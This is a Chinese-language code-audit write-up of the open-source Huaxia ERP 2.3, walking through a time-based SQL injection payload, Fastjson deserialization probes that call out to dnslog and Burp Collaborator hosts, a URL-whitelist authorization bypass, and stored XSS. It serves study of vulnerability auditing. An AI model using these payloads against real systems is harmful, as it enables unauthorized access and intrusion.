JAVA代码审计 华夏ERP
JAVA代码审计 华夏ERP
前言
早就写的一篇文章,只是因为处于迷茫期很多积攒的没有发。而且感觉搭在服务器上不如搭在github上,等这回服务器到期了就换个地方。
环境搭建
审的是这个版本的华夏ERP2.3 现在改名叫jsherp了,虽然版本老但是不妨碍成为学习审计代码的一个好例子
将sql导入后,配置一下相关文件就可以了
代码审计
审计准备
看readme
能让自己对这个项目有个大概的了解,构造出一个前期审计代码的大致侧重点。
侧重点:审sql注入时就要注意$符号了,并且可能存在log4j漏洞
看pom
有可能存在fastjson的漏洞但是并没有引入log4j-core所以不存在log4j的漏洞
看filter
学习filter内存马的时候就了解过filter了
直接到doFilter那里
主要对四个内容处理
是否登录
放行register.html,login.html,doc.html这些的业务
放行自己允许的一些页面,这个在初始化时候有定义通过#分割
但是我们发现
他对这个放行的页面处理似乎有些问题,用的是startsWith()
对URL进行判断是否是白名单的那些,那么就可以通过目录穿越来未授权访问其他页面了,等会在测试的时候留意一下这里。
审计
先去找我们刚才留下的疑惑点入手。
sql注入
因为用的是mybatis,所以直接在mapper里搜索$
发现很多都是用的$来编写的sql语句,所以我们可以换种思路,搜索容易出现sql注入的关键字比如'like'。
找到对应的MapperEx
文件(MapperEx
文件一般用来封装复杂sql语句与主 Mapper
分离,避免 Mapper
变得臃肿)
再找到对应的Service
一直可以往上找一般我的思路就是mapper->service->controll
发现最后到了ResourceController
不应该是RoleController
么,接下来就是黑白盒结合去探究了(其实这里如果是开发经验够足的化肯定就懂了,后面查阅一下ResourceController的作用)
在RoleService
这里打断点调试
很明显后台有个角色管理这会走到这里
隐约就可以才到那个角色名称应该就是name参数了,抓个包看看
看后台断点
可以看到确实如我们推断
尝试进行语句拼接
{"name":"aaa' or sleep(3)-- ="}
url编码一下
发现执行成功
后台也能看到记录
查倒是不好查,直接by GPT了
ResourceController
的主要作用包括:
管理和分发静态资源。
处理与资源相关的 RESTful API 操作。
作为资源代理,为客户端提供统一的资源访问接口。
实现资源访问的权限控制和安全性。
简显易懂,那其实很多语句只要参数可控都可以类似这个流程sql注入了,像like基本就是搜索功能了,其他的内容有兴趣可以自行探索。
fastjson
刚才我们在看pom的时候发现用的fastjson版本是存在漏洞的,现在全局搜索以parseObject
先找这种没有限定类的,然后去测试参数是否可控
有兴趣的师傅可以多去尝试几个,有练习意义
半场开香槟版
这里就写一下其中一个测试的
跟踪一下这个
推测应该是商品的添加功能,也可以去数据库看看数据,我的方法是这样定位的
这里
添加到forward到这个包
看到了javabean的数据
看到这里的时候都要半场开香槟了
构成payload看看检测一下先,放一下很多Nbccccc/Fastjson-Payload: Fastjson姿势技巧集合fork这位师傅的safe6Sec/Fastjson: Fastjson姿势技巧集合
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://n9z7x6.dnslog.cn"}}""}}
但是并没有发生期待的结果,显示很骨感
发现上面还有个JSONObject.parseObject(beanJson, Material.class)
当然是加载不了的腻,看了眼Material也没有什么能用的getter、setter方法所以就寄掉了,最开始没注意上面,被上面截胡了。删到那一行就可以了,当然不可能开发出来让你打的oopz。
但是有一说一试了一下这里fastjson版本要是低一点就可以打了,有兴趣的师傅可以试一下
言知之易,行之难 多找找没准就又发现什么了呢xixi
成功版
找到JSONObject.parseObject(search)
看到就直接恍然大悟,这个erp也调试到这里了,search这个参数经常在包里见到,直接白盒结合黑盒,去前面随便搜索一下到这个search参数。
直接上payload
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://h1jqa9iuj1mc266l0hei9kfnye45su.burpcollaborator.net"}}""}}
成功
想要rce需要开启一下autoTypeSupport
(ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
),或者Feature.SupportNonPublicField
参数等
未授权访问
这里就算filter里对访问目录控制的部分了,分为ignoredUrls,allowUrls
ignoredUrls
首先经过的ignoredUrls的处理,这里自定义一个verify
函数来处理
会将读取的url拼接匹配符例如^.*regex.*$
只要存在regex就返回true
那很明显我们只要让读取的url里存在ignoredLists里的内容,并且访问的是我们指定的url就行了
那如何构造呢,这里我想到了有时候可以看到访问的url为xxx.com/xxx;jsession=xxx
;后面会被容器处理掉的
allowUrls
这里则是以allowUrls开头就允许访问
把获取的url打印出来是这样的
那我们就可以这样了
XSS
因为filter里并没有对XSS做什么特殊处理,所以有很多页面存下来的内容都成了存储型XSS
log4j2
没找到